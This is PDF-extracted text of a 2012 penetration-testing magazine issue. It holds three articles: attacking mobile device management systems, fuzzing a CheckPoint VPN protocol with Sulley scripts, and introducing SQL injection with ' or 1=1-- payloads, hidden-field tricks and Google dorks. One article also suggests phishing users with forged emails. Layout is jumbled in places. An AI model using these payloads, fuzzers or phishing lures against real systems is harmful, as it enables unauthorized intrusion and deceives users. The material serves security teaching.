management infrastructures are simple web apps.
Do we need to break out our compilers and start
composing custom attacks yet? Probably not. Let’s
look at a few ways to approach the problem, without
doing anything crazy.
Attacking the Front
Now that we have determined most of these are
basically web apps let’s look at where we can hit this
infrastructure the hardest, the management interface.
If you have either been a penetration tester or a web
application developer, I’ve been fortunate (I think) to
have been both, then you know a dirty not-so-secret
THE BEST OF 01/2012 Page 27
secret. Developers, administrators and IT management
do not take management interfaces terribly seriously. If
it’s an inside the firewall test you are nearly guaranteed
to find a few open admin interfaces typically with default
credentials. Of course I’m certain this won’t happen
with anything as important as a mobile management
infrastructure but just in case let’s continue our attack
on the front.
Theoretically every web application that interfaces
with a database has a SQL Injection (SQLi)
vulnerability of some sort. Bold statement? Not really,
just based on years of experience, I’ve met very few
with no exploitable vulnerability. Fast forwarding
though let’s say our management infrastructure has
a SQLi vulnerability and we can insert records, let’s
look at all we can do with that. First and foremost
we can probably enroll our own phone and figure out
what the management infrastructure does to a phone.
Second we will be able to push our own malicious
code to the entire enterprise. From a penetration
testing perspective it’s not going to get much better
than that. Fortunately I’m sure all of these various
infrastructures have undergone many rounds of
security testing and hence it just won’t be this easy.
Moving on.
Attacking the Middle
A few things I noticed while taking my tour of the
various management suites (aside from how cute all
their names are) is that almost without exception they
all included some sort of enterprise app store though
they gave them various names. This
piqued my interest for several reasons
outside of just attack vectors though
having an app store front-end presents
us with the same vulnerabilities as
the management system’s admin
interface. This one is interesting
from a purely logistical perspective
because I’m curious who is doing
quality control on the apps getting
pushed out. Can anyone submit an
app? Most of the vendor website’s
weren’t very clear on this matter and
I was on a tight deadline. At any rate,
the workflow in these systems would
be very interesting to analyze. Like it
or not (I don’t particularly) but Apple’s
policy of app review before app store
submission probably catches most
malware. More companies should take
note for their enterprise mobile apps
and adopt a similar policy I think.
http://pentestmag.com

At any rate, I think these enterprise app stores make
excellent points of attack if you can get them to do what
you want. That’s a lot of if’s because again I’m certain these
things are tested beyond normal industry standards, wait,
they’re not? Of course not, it’s that dirty little not-so-secret
secret again, you can’t really restrict access to these app
stores since every phone has to have access (this is the
hard part of true mobility) and they’re web applications,
once again, so same SQLi rules apply. This middle layer
provides another great entry into the infrastructure, again
if you can get it to do what you want.
Attacking the Mobility
One aspect of this that I was initially trying to avoid but
really can’t be is what I’ll call the provider influence.
Most enterprises, and if you’re not sick of that word
by the end of this article there is something wrong with
you and I’ll tell you why at the end, choose a single
provider, in the US it’s Verizon, AT&T and a bunch of
others. An interesting attack vector involving the vendor
but is probably slightly harder would be an attack on
the provider’s Over-the-Air (OTA) update system. Again
unless you want to end up in prison this should remain
a proximity attack on known target you are authorized to
test and not attempted on the provider as a whole.
THE BEST OF 01/2012 Page 28
PENTEST REGULAR
This could be used to push out an update of your own
ROM or firmware, etc. This is advanced attacking stuff
and not something I would typically recommend as I
suspect the other methods would work just fine. I would
use this one as sort of a last resort but it is a major
flaw I don’t see considered in most of these enterprise
management vendors. The provider influence might
be the number one issue in the way of your mobile
infrastructure security strategy. They tend to not like
security much for reasons far beyond the scope of this
article.
Attacking the Proprietary
I and almost every security guy I know have pretty firmly
embraced Open Source software, again, for reasons
beyond the scope of this article. Simply put, a system
must be able to be examined to be considered secure. It
has to stand up to scrutiny. Every mobile management
infrastructure I came across (I narrowed it down to three
initially for this article) proudly touted its proprietary
nature as providing extra security. When I hear this as a
penetration tester I immediately start salivating, closed
systems that say things like we’re enterprise and closed
so we’re better than everything else just get me going.
I asked for demo copies from all three but all three said
http://pentestmag.com
they would be happy to give me a walk through but that
installable demoes weren’t available at this time. Again, References
a big red flag to me, especially when they all had a try it • The State of Mobile Malware [INFOGRAPHIC]: http://
mashable.com/2011/08/12/mobile-malware/
now button on their website. That’s what I get for being
• How To Hack a Mobile Phone: http://video.google.com/
honest I guess. Anyway, the point is when a vendor videoplay?docid=-8987396544207653068
touts their closed and proprietary nature and claims • The Keys to Successfully Managing Mobile Devices in
that as a feature you should usually run the other way Your Enterprise: http://maasters.maas360.com/forum/
screaming or buy something else. The funniest part of expertise/the-keys-to-successfully-managing-mobile-devi-
this is I had easy access to an installable trial copy of ces-in-your-enterprise/
• How Phone Hacking Worked and How to Make Su-
Exchange (the granddaddy of mobile management with re You’re not a Victim: http://nakedsecurity.sophos.com/
ActiveSync, etc) and people say Microsoft isn’t easy 2011/07/08/how-phone-hacking-worked/
to work with. Exchange wasn’t what I was looking for.
Moving on.
equipment. http://gitbrew.org/debdroid/ will show you
Attacking the Backend (of the user) the way. I plan to try this someday when I have some
So far we’ve attacked the front, back and various mid- mobile gear to spare but again I’m not really sure a
sections but we’ve left the so-called backend alone. mobile phone is beefy enough to handle some of the
Only because I feel that these sorts of fire bomb attacks tools folks use, we’ll see though.
in a penetration test is cheating because often they’re The bottom line when pen testing a mobile
too simple and involve very management infrastructure
little actual skill. All you need When a vendor touts their “closed and is to really stick with what
to do is trick the user into proprietary” nature and claims that as a feature you know and aim for the
installing a piece of custom you should usually run the other way screaming largest payoff. Don’t try to
software and bam, game
or buy something else. create some new hardware
over. Send them an email forged to be from their IT device plus write software for a two week engagement
director or boss, install this or you’ar fired or something when you can utilize a simple SQLi attack and own all
more eloquent, wait for them to ignore the permissions the mobiles in the enterprise. Simpler is usually better.
warning most phones give you and then sit back and Proprietary and closed systems usually make very rich
collect data. Sounds easy? It is, but it’s not much fun targets for simple attacks and that boys and girls is what
and it only proves that humans are often the weakest usually makes them enterprise. Enterprise is typically
link. Everyone knows that already, get a real job. Sorry, just another word for closed and as I’ve said they are
that’s just a pet peeve of mine. also usually very brittle systems that have not been
The key difference here is that often these mobile adequately scrutinized. If you have ever done one of
phones aren’t linked to any mobile management those penetration tests where the clients says now stay
infrastructure so you don’t have a choice in attack away from that system, it will crash if you just port scan
vectors, it has to be the phone. Users would mostly it, that system is usually considered Enterprise. Now go
never consider using their personal laptop for work forth and test the mobile world, let me know what types
but often they’ll choose to use a personal iPhone over of simple attacks worked for you and I’ll reprint them
a company provided BlackBerry (come on you would here (fully credited of course).
too) so as a result that iPhone isn’t the property of
the company and isn’t managed by IT. This creates a
management nightmare for sure and one that can be
driven home more sharply by a proper penetration test.
Imagine getting control of an iPad or phone that has
VPN access into a corporate network but is personally
owned by the user. That would probably turn a lot of BILL MATHEWS
executive heads and kick a mobile security program Bill Mathews is co-founder and
into high gear I would hope. lead geek of Hurricane Labs,
an information security �rm
Bonus: Using Your Smart Phone to Perform a founded in 2004. You can reach
Penetration Test Bill @billford on Twitter and be
I’m not terribly sure how practical this is but now you read other musings on http://
can even use your mobile phone as penetration test blog.hurricanelabs.com

THE BEST OF 01/2012 Page 29 http://pentestmag.com

 PENTEST REGULAR

Fuzzing In a
Penetration Test
Protocol fuzzing has been a popular technique for bug discovery
with a number of tools, books and papers describing the benefits
and drawbacks. Although typically used for bug discovery in
a lab environment, there are opportunities to use fuzzing in a
penetration testing role too.

N
ot only does fuzzing in a penetration test give
your customer added value in an assessment
but it also services to expand your skill set and
develop new opportunities for attacking and exploiting
systems.
Background
Not long ago, I drew the short straw on my team when
divvying up responsibilities for a penetration test. While
other people on the team got to target wireless flaws,
web application flaws and the like, I got the external-
facing network pen test task.
You may have heard the drill before. The scope for my
test included:
• Externally accessible target systems
• No client-side exploits
• No web app attacks
• No external resource management attacks (such as
domain registration manipulation)
• No account enumeration/password guessing
attacks
Try as we might convince people otherwise, some
organizations still request this type of testing and
hamper our typical approach to a pen test. Sometimes
this is because they really just want a pat on the
back for doing a good job securing their externally-
facing systems; in this particular case, it was an audit
requirement to have this level of testing done while
other people on my team got all the fun on the other
tasks.
As expected, my reconnaissance and network scans
didn’t turn up a lot of interesting flaws, but I did have one
interesting target show up in the result of an Nmap scan
as shown in Interesting ports on XXX.XX.XXX.2:. My target
organization leveraged a CheckPoint server for remote
VPN access, of which two ports were accessible.
The CheckPoint service running on TCP/264 piqued
my interest and after a little additional reconnaissance
analysis I learned that it was used as an out-of-band
communication channel by the CheckPoint VPN
client over a proprietary, unencrypted protocol called
SecuRemote.
The SecuRemote protocol is used to exchange
information with the CheckPoint client, disclosing
certificate information and, following authentication
from the client, network topology details. A few older
information disclosure vulnerabilities have been
announced with public exploits, but the version my
customer was using was not vulnerable. However,
at this point I had some protocol documentation, a
reference source and a fair amount of time remaining
in my allotted analysis hours, with which I reasoned
that I could spend it doing some interesting protocol
fuzzing.

THE BEST OF 01/2012 Page 30 http://pentestmag.com

 file or even, in some esoteric cases, against complex
������ ��������������
hardware systems. By sending malformed data to
���������������� the target, we can evaluate the methods used by the
���������������� developer to validate input data, potentially identifying
crash conditions that could lead to an exploitable
����������������
vulnerability. In order to accurately characterize a
crash condition, however, we typically need to attach
�����������������������������
������������������� a debugger to the target process to capture stack
���������
��������������������� and register dump information, limiting fuzzing to a
local analysis technique and not something we would
Figure 1. SecuRemote Packet Exchange
typically use in a remote penetration test.
Not having a lot of options remaining for my external
The Role Of Fuzzing network analysis, I opted to talk to my customer about
In my classes with the SANS Institute, I talk about performing a remote fuzzing analysis against their
how fuzzing can be used for various analysis tasks by CheckPoint VPN service, targeting the SecuRemote
different groups including developers, QA engineers, protocol. My arguments were four-fold:
penetration testers and more. Typically, I would tell my
students that protocol fuzzing is not an attack, but rather • We could replicate local fuzzing against their
is a method we can use to identify vulnerabilities in a remote system and still obtain crashdump analysis
target system. However, I’m going to change my story information through the integrated CheckPoint
a bit here. technical support data collection vector.
When using protocol fuzzing, we typically target • We could perform our analysis during off-hours
a well-behaving piece of software, either a network (between midnight and 5am for the customer) to
service, client-side software reading from a malformed limit the impact of any system outages.

Listing 1. Nmap Target Scan Results

Interesting ports on XXX.XX.XXX.2:

PORT STATE SERVICE VERSION
264/tcp open fw1-topology Checkpoint FW1 Topology
500/tcp open isakmp?
Device type: general purpose|telecom-misc|firewall|WAP
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (86%), Avaya Linux 2.6.X (85%), IPCop Linux 2.4.X (85%)
Aggressive OS guesses: Linux 2.6.24 (86%), Avaya Communication Manager (Linux 2.6.11) (85%), IPCop firewall
1.4.10 - 1.4.18 (Linux 2.4.31 - 2.4.34) (85%), OpenWrt (Linux 2.4.32) (85%), Linux 2.6.24
(Gentoo) (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Device: firewall

Listing 2. Topology Request Data

0000000: 4100 0000 0259 0521 0000 0004 c41e 4352 A....Y.!......CR
0000010: 0000 004e 2874 6f70 6f6c 6f67 792d 7265 ...N(topology-re
0000020: 7175 6573 7a40 a093 a636 16e6 16d6 5202 quesz@...6....R.
0000030: 82d5 3656 e736 5506 f737 42d6 46f7 4636 ..6V.6U..7B.F.F6
0000040: f6d2 d290 a0a93 a636 861a 6c6c 656e 6765 .......6..llenge
0000050: 2028 6332 6532 3331 3833 3964 3066 290a (c2e231839d0f).
0000060: 290a 00 )..

Listing 3. Sulley Installation

$ svn checkout http://sulley.googlecode.com/svn/trunk/ sulley

THE BEST OF 01/2012 Page 31 http://pentestmag.com


• Since the customer had to expose this service for
CheckPoint VPN client users, there was value in
evaluating it for flaws as a potential exploitation
vector.
• The analysis could give the customer some visibility
into the threat of 0-day vulnerabilities within the
scope of their imposed engagement rules.
After coordinating with their internal support and
networking teams, my customer was happy to indulge
us in this analysis step. Next, I had to whip up a series
of test cases to evaluate the target service.
Protocol Analysis
Prior to engaging in a fuzzing test, it is important to
understand the portions of the protocol you will be
evaluating. Since the SecuRemote protocol is not
documented by CheckPoint, and to my knowledge has
not been publicly reverse-engineered, I needed to dig
into some packet captures for my analysis.
A quick Google search turned up several sample
packet captures posted by other organizations
while searching for assistance in troubleshooting or
associated with prior vulnerabilities no longer an issue
for my target. Looking through these packet captures, I
was able to glean some details as to the working of the
SecuRemote protocol, shown in Figure 1.
After the 3-way handshake, the CheckPoint VPN
client sends two small packets with 4-byte payloads.
This packet content appears to be consistent for a given
CheckPoint server and client, though some variations in
the leading byte of the first packet were noted, possibly
indicating a version indicator of some kind.
After the second packet from the client, the server
returns a 4-byte packet payload, similar to the first
packet from the client with one additional set bit.
The fourth packet sends the string securemote to
the VPN server, with four leading bytes and one NULL
termination byte at the end of the string. The leading
bytes likely indicate a 4-byte big-endian length value,
since 0x0b correlates to the length of the string with the
addition of the string terminator.
After the fourth packet the server responds with
the familiar leading 4-byte length indicator, followed
by a string that appears to disclose human-readable
certificate information revealing the server common
name (CN=) and organization name (O=).
Additional data is sent from the server, likely the
continuation of certification information, followed by
several instances of none\x00 with a leading 5-byte length
indicator sent by the client. One additional frame of
interest is shown in Listing 2, generated with an exploit
tool published to retrieve internal network topology
THE BEST OF 01/2012 Page 32
PENTEST REGULAR
information from earlier versions of CheckPoint VPN
servers at http://www.securiteam.com/securitynews/
5HP0D2A4UC.html.
In this example we see a fair amount of string
information, possibly a static hash value, a configuration
verb string topology-requesz, and a lot of unknown
fields. Again here we can spot some length fields
followed by corresponding data, such as the \x00\x00\
x00\x04 on the first line followed by the 4-byte value
ending \xc4\x1e\x43\x52. This pattern appears to repeat
at the beginning of the next line with the length value
\x00\x00\x00\x4e followed by 78 bytes of data prior to a
trailing NULL byte.
While there is no simple way we can identify the
meaning behind some of the bitwise fields, we can
identify several interesting fuzzing targets from this
analysis:
• Four-byte length fields: anytime you identify a
length indicator in a protocol, fuzz it. Any assumed
limitations on user-supplied data should be tested
with length fields of various quantities.
• Several static bit-wise fields consisting mostly
of \x00 values, giving us the opportunity to limit
our fuzzing while enumerating alternate bitwise
combinations.
• Regular use of NULL terminators at the end of
strings. Though the recipient parser does not have
to rely on NULL terminators since field length
values are also used, it’s a good idea to see what
happens to a parser when terminator fields are no
longer present.
With this knowledge, I started to prepare my test cases
to deliver to the target system.
Tool Selection
In examining the protocol and selecting interesting
fields for analysis with our fuzzer, I’ve steered my
analysis technique toward the use of an intelligent
mutation fuzzer. While other fuzzing techniques are
certainly an option, such as randomized fuzzing and
simple mutation fuzzers such as TaoF (http://sf.net/
projects/taof), mutation fuzzing gives us a good
balance of control over what is being evaluated, a finite
analysis runtime and rapid test case development, all
essential components for an analyst using fuzzing in a
penetration test environment.
My preference in an intelligent mutation fuzzer is
Sulley, the Python framework written by Pedram Amini.
Sadly, Pedram has not continued to maintain Sulley, but
with minor fixes we can still make use of this framework
using recent Python 2.X releases. An alternative option
http://pentestmag.com
Listing 4. Embellished Sulley Fuzzer Targeting Initial Client Packet

#!/usr/bin/env python
# Fuzzing the initial 4-byte packet from client to CheckPoint VPN server.
import time
import sys
from sulley import *

# Time to wait between mutations

SLEEP_TIME=0.5
# Time to wait before claiming a host is unresponsive
TIMEOUT=3
# number of crashes to observe before skipping the remainder of a group
CRASH_THRESHOLD=3

# Initialize the Sulley mutation descriptor

s_initialize("SecuRemote-Initial-Packet")

s_byte("\x51",full_range=True)
s_static("\x00\x00\x00")

print "Total mutations: " + str(s_num_mutations()) + "\n"

print "Minimum time for execution: " + str(round(((s_num_mutations() *

print "Press CTRL/C to cancel in ",

for i in range(5):
print str(5 - i) + " ",
sys.stdout.flush()
time.sleep(1)

# For debugging purposes, uncomment these lines to see Sulley's mutations

# in hex dump format
#print "Hex dump mutation output:"
#while s_mutate():
# print s_hex_dump(s_render())

sess = sessions.session(session_filename="SecuRemote-Initial-Packet.sess", sleep_time=SLEEP_TIME,

timeout=TIMEOUT, crash_threshold=CRASH_THRESHOLD)

# Tie this session to the SecuRemote-Simple-String fuzzing cases

sess.connect(s_get("SecuRemote-Initial-Packet"))

# Change this IP address to the target system

target = sessions.target("127.0.0.1", 264)

# Add the target to the session (can be repeated for multiple targets)
sess.add_target(target)

# Kick off the fuzzer, monitoring with WebUI on localhost:26000

sess.fuzz()

THE BEST OF 01/2012 Page 33 http://pentestmag.com

 PENTEST REGULAR
Listing 5. Minimal Sulley Fuzzer Targeting the "securemote" Client Packet

#!/usr/bin/env python
from sulley import *
SLEEP_TIME=0.5
TIMEOUT=3
CRASH_THRESHOLD=3

# The function Sulley will run prior to sending each mutation. We leverage
# it to setup the target system with the initial packets and response in the
# protocol exchange prior to our target packet.
def preconn(sock):
sock.send("\x51\x00\x00\x00")
time.sleep(0.5)
sock.send("\x00\x00\x00\x21")

# Set a socket timeout on the recv so we aren't waiting indefinitely if

# the server crashed from a previous test case.
sock.settimeout(5)
response = sock.recv(4)
print "Setup response: ",
for i in response:
print "%02x" % ord(i),
print

s_initialize("SecuRemote-Simple-String")

# Create a size field, which is based on the content of the named block
# Sulley uses ">" to indicate big-endian values, "<" is little-endian
s_size("client-name-string", length=4, endian=">")

# This is the block of data used for filling in the s_size

if s_block_start("client-name-string"):
# "securemote" is the default string
s_string("securemote")
# constant null terminator
s_byte("\x00")
s_block_end()

sess = sessions.session(session_filename="Securemote-Simple-string.sess", sleep_time=SLEEP_TIME, timeout=TIMEOUT,

crash_threshold=CRASH_THRESHOLD)

# Call preconn() before each mutation is sent to setup the target

sess.pre_send = preconn

sess.connect(s_get("SecuRemote-Simple-String"))
target = sessions.target("127.0.0.1", 264)
sess.add_target(target)
sess.fuzz()

THE BEST OF 01/2012 Page 34 http://pentestmag.com

for a mutation fuzzer is the Peach framework, though
I prefer the Python syntax over XML development
leveraged by Peach, plus we’ll take advantage of native
Python code to enhance our fuzzing test cases.
To install Sulley, check out the source from the project
site using the Subversion tool, as shown in Listing 3.
With Sulley we use basic data type constructs to
describe how a packet is put together, identifying
the presence of string-based fields, numeric fields of
various widths, delimiters and static values. All specified
fields are iteratively mutated with intelligent mutation
values (with the exception of static fields, which are not
mutated), allowing you to test for target flaws. Sulley
also gives us some advanced functionality to describe
complex protocols that involve checksums and complex
data elements that are best described in the project
documentation.
Listing 4 is an embellished Sulley fuzzer targeting
the initial 4-byte packet payload from the client. This
script uses a few Python embellishments to estimate
runtime to give me a chance to kill the fuzzer before
it starts with [CTRL+C]. In this script, I used Sulley’s
one-byte numerical field identifier s_byte() to target the
leading byte of the 4-byte payload, followed by a static
definition of the three NULL bytes. I added the full_
range=True modifier here to tell Sulley to iterate through
all 256 values instead of catching the border cases of
low and high values as well as common divisors (values
divisible by 3, 4, 32, etc.) Copy this script to your Sulley
directory and invoke it to start the fuzzer.
Unfortunately, this initial run didn’t uncover any
interesting crashes against the target, though it did
periodically generate varying responses from the
server. In order to more thoroughly evaluate the target
system, the fuzzer needed to accommodate some
target protocol state.

Fuzzing Stateful Protocols

When designing a fuzzer, if the first packet in the
protocol exchange is all you are targeting then you
will miss some interesting vulnerability opportunities.
Many fuzzers do not accommodate the more complex
subsequent packets in a protocol exchange since they
require the developer to accommodate some stateful
awareness in the fuzzer that can manipulate the target
with well-formed packets prior to sending the malformed
content.
In the case of the SecuRemote protocol, the first two
packets from the client to the VPN server were fairly
uninteresting. The fourth packet in the exchange from
the client, however, includes an interesting string and
length indicator followed by a NULL byte terminator.
In order to evaluate how the VPN server reacts to

THE BEST OF 01/2012


malformed data in this step of the protocol exchange,
we need to complete the earlier two 4-byte packets, and
ensure we obtain the expected response from the VPN
server in step 3.
Fortunately, Sulley gives us a simple setup option
that we can extend with a little Python scripting. Prior
to delivering each mutated test case, Sulley will check
for a callback function defined in the session with the
name pre_send. In this callback function, Sulley passes
the socket handle for the mutated session (immediately
following the three-way handshake). By defining our
own Python callback function, we can read and write
to this socket as needed to send the initial two 4-byte
packets, and ensure we get a response from the server
before allowing Sulley to send the mutated packet.
The data we are manipulating in packet 4 of the
exchange adds a bit of complexity in the design of our
fuzzer. We want to have Sulley generate large and small
strings where the securemote string normally is, but we
need to preserve the prior length field to accurately
reflect the length of our mutated string value. We could
place a fixed value in the length field regardless of the
length of the mutated string, but this might be rejected
with basic error validation procedures on the server,
preventing us from reaching code that could otherwise
trigger a fault on the target system.
Sulley accommodates the ability to include length
fields with the s_size() construct. Using Sulley, we
define a Python block beginning with an empty if
statement and the Sulley s_block_start() construct. All
the fields that are accumulated to reflect the length of
the s_size() field are included in the block, followed by s_
block_end(). When defining s_block_start(), we name the
block of fields, and reference it in the s_size() construct
prior to or after the block definition, as needed.
In our case, we need to reference the mutated string
length and the NULL terminator field in our s_size()
block, as shown in Listing 5. This example is more of a
minimal Sulley script, for brevity, but can be combined
with the extra embellishments of Listing 5 if desired.
Continuing our development, we can leverage a
similar stateful manipulation technique to test the
server’s reaction to malformed network topology
requests. The network topology request is a much more
interesting data set from a fuzzing perspective, with
several additional field manipulation opportunities. This
script is available at http://www.willhackforsushi.com/
code/securemote-ptm.py.
Value In Pen-test Fuzzing
In our engagement, we ran the fuzzers against the
CheckPoint VPN server over the course of several
nights, monitoring the results with a combination of
THE BEST OF 01/2012 Page 36
PENTEST REGULAR
Sulley stdout redirection to the tee utility and the Simple
Watcher Perl script (swatch.pl). Our analysis indicated
that we did trigger a small number of minor DoS events
on the VPN server which were automatically rectified by
the CheckPoint server and a service automatic restart
function.
When reporting the findings to our customer, they
were pleased on two fronts:
• Our analysis allowed the customer’s security team
to reinforce their internal mantra: nothing is perfect
in security, helping them voice the continued need
for defense-in-depth protections on their internal
network.
• They had a simple mechanism with which to
communicate the flaws to CheckPoint and to
validate subsequent fixes.
The customer was happy with the analysis results, and
I felt as though I was able to deliver more value to the
customer than an external penetration test report that
would otherwise have identified no vulnerabilities.
Conclusion
In this article, we’ve only touched on the functionality
of Sulley, leveraging it in an atypical manner. When
fuzzing a target process on a Windows box such as a
web server or other socket listener, Sulley can attach to
the target process to capture register and stack trace
information, create packet captures for each mutation
sent, and even remotely control a VMware system
to revert a target process to a snapshot following a
crash to reset the target environment. Combined with
the ability to leverage Python to enhance my fuzzing
routines, it fits my needs for everything from simple to
complex tests that can be put together in short order.
As an IDS analyst, I would not expect to see a flurry of
fuzzing activity targeting my externally-facing systems,
unless the attacker were only pursuing a DoS attack
opportunity. Fuzzing is still primarily a local analysis
activity where flaws are evaluated with an eye toward
exploit development. However, as penetration testers,
we should not rule out the option of using fuzzing in a
penetration test where it makes sense to do so.
JOSHUA WRIGHT
Joshua Wright is a senior instructor with
the SANS Institute. Josh’s papers, tools and
articles are available at
www.willhackforsushi.com.
http://pentestmag.com
 Global I.T. Security Training & Consulting

www.mile2.com

IS YOUR NETWORK SECURE?

������������������������������������������������������������
��
����������������������������������������������������������������
�����������������������������������������������������������
������������������������������������������������������ mile2 Boot Camps

A Network breach...
Could cost your Job!

Available Training Formats

�� ���� ������������������������
� � ������������������������� ��� ���� ��������������
������� � ����������������� ��� ���� ��������������������
�������� � ������������������������������������������� ��������� ������������������
������ � ���������������������������������� ��� ���� ����������������������������
������ � ����������������������������������������������

�������������������
� � ����������������������������������������� Other New Courses!!
�������� � ������������������������������������� ���� ���������������������
��������� � ��������������������������������������� �������� �������������������
���� �����������
� � ����������������������
�������� � ������������������������������� ���������� ���������������������������
��������� ���������������������������
� � �������������������������� ���������� ��������������������������
������� �����������������������������������
��������� ��������������������������������������������������
�����������������
��������������� �������������
INFORMATION ASSURANCE
������� � ������������������������������������������������ SERVICES
����������������������������������������
��� �������������������
������������������������������
��� �������������������������
��������� � ���������������������������������������� ��� �������������������������������������
��� ��������������
� � ����������������� ��������������������������������������������
�������� � �����������������������������������
(ISC)2 & CISSP are service marks of the IISSCC. Inc. Security+ is a trade mark of ��������������
CompTIA. ITIL is a trade mark of OGC.GSLC & GCIH are trademarks of GIAC. ���������������
11928 Sheldon Rd Tampa, FL 33626
 PENTEST REGULAR

SQL Injection: Inject

Your Way to Success
SELECT * FROM winners WHERE pentester = ‘YOU’ or 1=1--’
SQL Injection is one of the many web attack mechanisms used
by hackers to steal data from organizations. SQL Injection is one
of the most common vulnerabilities in web applications today.
It is (as of the time of writing) ranked as the top web application
security risk by OWASP[1].

D
atabases are the backbone of most commercial
websites on the internet today. They store
the data that is delivered to website visitors
(including customers, suppliers, employees, and
business partners). Backend databases contain lots
of juicy information that an attacker may be interested
in. Data such as: User credentials, PII, PII, confidential
company information, and anything other data that a
legitimate user may need access to through a web
portal. At its most basic form, web applications allow
legitimate website visitors to submit and retrieve
data over the Internet using nothing more than a
web browser which allow the internet to be the giant
consumer market that it is.
SQL Injection is the attack technique which
attempts to pass SQL commands through a web
application for execution by the backend database.
If not sanitized properly, web applications may result
in SQL Injection attacks that allow hackers to view
or modify information from the database. The attack
tries to convince the application to run SQL code
that will result in access that was not intended by
the application developers. The attacker uses SQL
queries and creativity to bypass typical controls that
have been put in place.
Common web application features introduce the SQL
injection attack vector. These features include login
pages, search pages, e-commerce checkout systems,
a myriad of user submit able forms and the delivery of
dynamic web content. Many of these features users take
for granted and demand in modern websites to provide
businesses with the ability to communicate customers.
These website features are may be susceptible to SQL
Injection attacks and are good place to start during a
pentest engagement that includes a web application
testing component.
A Simple SQL Injection Example
Take a simple login page where a legitimate user would
enter his username and password combination to enter
a secure area to view his personal details or upload his
comments in a forum.
When the legitimate user submits their information,
a SQL query is generated from this information and
submitted to the database for verification. The web
application in question that controls authentication
will communicate with the backend database through
a series of commands to verify the username and
password combination that was submitted. Once
verified, the legitimate user should be granted the
appropriate access for their account to the web
application.
Through SQL Injection, the attacker may input
specifically crafted SQL commands with the intent of
bypassing the login form authentication mechanism.
This is only possible if the inputs are not properly

THE BEST OF 01/2012 Page 38 http://pentestmag.com

 Listing 1. SQL comparison

Normal SQL activity: SELECT * FROM users WHERE username = 'SiteAdmin'

SQL Injection activity: SELECT * FROM users WHERE username = '' OR 1''

Listing 2. Expected SQL Command

SELECT count(*) FROM users_list_table WHERE username=’FIELD_USERNAME’ AND password=’FIELD_PASSWORD"

sanitized and sent directly with the SQL query to the
database. SQL Injection vulnerabilities provide the
means for a hacker to communicate directly to the
database. As you see in Listing 1, typical SQL activity
and SQL Injection activity is very similar.
Normal SQL activity will work as expected. The web
application will ask the database to select everything
from the users table that has a username equal to
SiteAdmin. However, the SQL Injection activity will
cause our backend database to misbehave. The SQL
Injection query by using a single quote will terminate the
string part of the database query, * username = ‘ ‘, and
then added on to our WHERE statement with an OR
clause of 1, * username = ‘ ‘ OR 1.
This OR clause of 1 will always be true and so every
single entry in the customers table would be selected by
this statement!
The technologies vulnerable to this attack are
dynamic script languages, including ASP, PHP, JSP,
and CGI. All an attacker needs to perform an SQL
Injection hacking attack is a web browser, knowledge of
SQL queries and creative guess work to figure out table
and field names.
It possible to pass SQL queries directly to a database
that is protected by a firewall because it is open to the
internet and in order for it to function correctly security
mechanisms will allow public web traffic to communicate
with your web application over expected web ports. The
web application must have open access to the database
in order to return the requested information.
SQL or Structured Query Language is the computer
language that allows you to store, manipulate, and
retrieve data stored in a relational database (or a
collection of tables which organise and structure data).
SQL is, in fact, the only way that a web application (and
users) can interact with the database. Examples of
relational databases include Oracle, Microsoft Access,
MS SQL Server, and MySQL, all of which use SQL as
their basic foundation.
SQL commands include SELECT, INSERT, DELETE,
DROP TABLE, UNION and many more. In the legitimate
scenario of the login page example above, the SQL
commands planned for the web application may look
something like the SQL query in Listing 2.
The SQL command from Figure 2 instructs the
backend database to check the username and password
input by the user user to the combination it has stored
in the database. If they match the user is authenticated
and granted access to the web application. Of course
this is a simplistic description, but you get the idea.
Web applications are coded with specific SQL
queries that it will execute when performing functions
and communicating with the backend database. If not
properly sanitized the web application can be coerced
into running additional SQL commands that were not
intended.
An attacker will be able to extract and modify the
data stored in the backend database without having to
penetrate the database server itself, bypassing all of the
perimeter defenses that may be in place.
Finding SQL Injection and more examples
Finding SQL Injection vulnerabilities is simple. Look
for any web page that contains a user input box. For
narrowly scoped pentest engagements this should be
easy to do. Also look for pages like ASP, JSP, CGI,
or PHP web pages. Try to look especially for URL
that takes parameters, like: http://somesite.com/
home.asp?id=3.
Figure 1. Google Hacking

THE BEST OF 01/2012 Page 39 http://pentestmag.com


Additionally, remember Google is your friend. The use
of Google hacking techniques, make finding potentially
vulnerable web pages simple. Google Hacking is described
by Johnny Long, Ed Skoudis, and Alrik van Eijkelenborg in
their book Google Hacking for Penetration Testers. One
of my favorite searches is: inURL:index.asp?id=. Simply
remove the double quotes and enter that line into Google
and watch the magic, of course you should also change
the URL to match that of your assessment engagement
scope. Here in Figure 1 you see Google returned about 60
million results from the above search.
So in my example our target web page has the URL
http://somesite.com/home.asp?id=3.
PENTEST REGULAR
To test for SQL Injection vulnerability we add a
single quote to the end of the URL like this: http://
somesite.com/home.asp?id=3’.
Once we submit this URL the resulting response will
tell us all we need to know. Any type of error which
is related to a SQL query, such as You have an error
in your SQL syntax, indicates that the web page is
vulnerable to SQL injection. If the page remains in same
page or showing that page not found or showing some
other non SQL related response then we can assume
the page is not vulnerable to SQL Injection.
Start with a single quote trick. Input something like test’
or 1=1— into the login, password, or website URL. As in:

Listing 3. Web Page Source Code

</style>
</head>
<body>
<div class="wrapper">
<div class="google-header-bar">

<div class="header content clearfix">

<a id="link-google" href="http://www.google.com/" >
<img class="logo" src="//www.google.com/images/logos/google_logo_41.png" alt="Google">
</a>
<span class="signup-button">
New to Gmail?
<a id="link-signup" class="g-button g-button-red" href="http://mail.google.com/mail/signup">
Create an account
</a>
</span>

</div>
</div>
<div class="main content clearfix">
<div class="sign-in">
<div class="signin-box">
<h2>Sign in <strong></strong></h2>
<form id="gaia_loginform" action="https://accounts.google.com/ServiceLoginAuth" method="post">
<input type="hidden"

name="continue" id="continue" value="https://mail.google.com/mail/?hl=en&amp;tab=wm"

>
<input type="hidden"

name="service" id="service" value="mail"

THE BEST OF 01/2012 Page 40 http://pentestmag.com

• Login: test’ or 1=1--
• Pass: test’ or 1=1--
• http://somesite.com/home.asp?id=test’ or 1=1--

If you have to work with hidden fields, the simplest

solution is to download the source HTML’ as seen in
Figure 1, from the site, save it in your hard disk, modify
the URL and hidden field accordingly. Example:

<FORM action=http://somesite.com/Search/search.asp
method=post>
<input type=hidden name=A value=”test’ or 1=1--”>
</FORM>

If the site is vulnerable and the first user account in

the database is active, you will login without any login
name or password needed. It’s almost too easy.
